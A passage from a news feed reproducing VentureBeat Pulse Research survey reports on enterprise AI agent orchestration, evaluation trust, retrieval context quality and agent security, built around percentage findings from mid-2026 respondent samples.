dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
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<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they 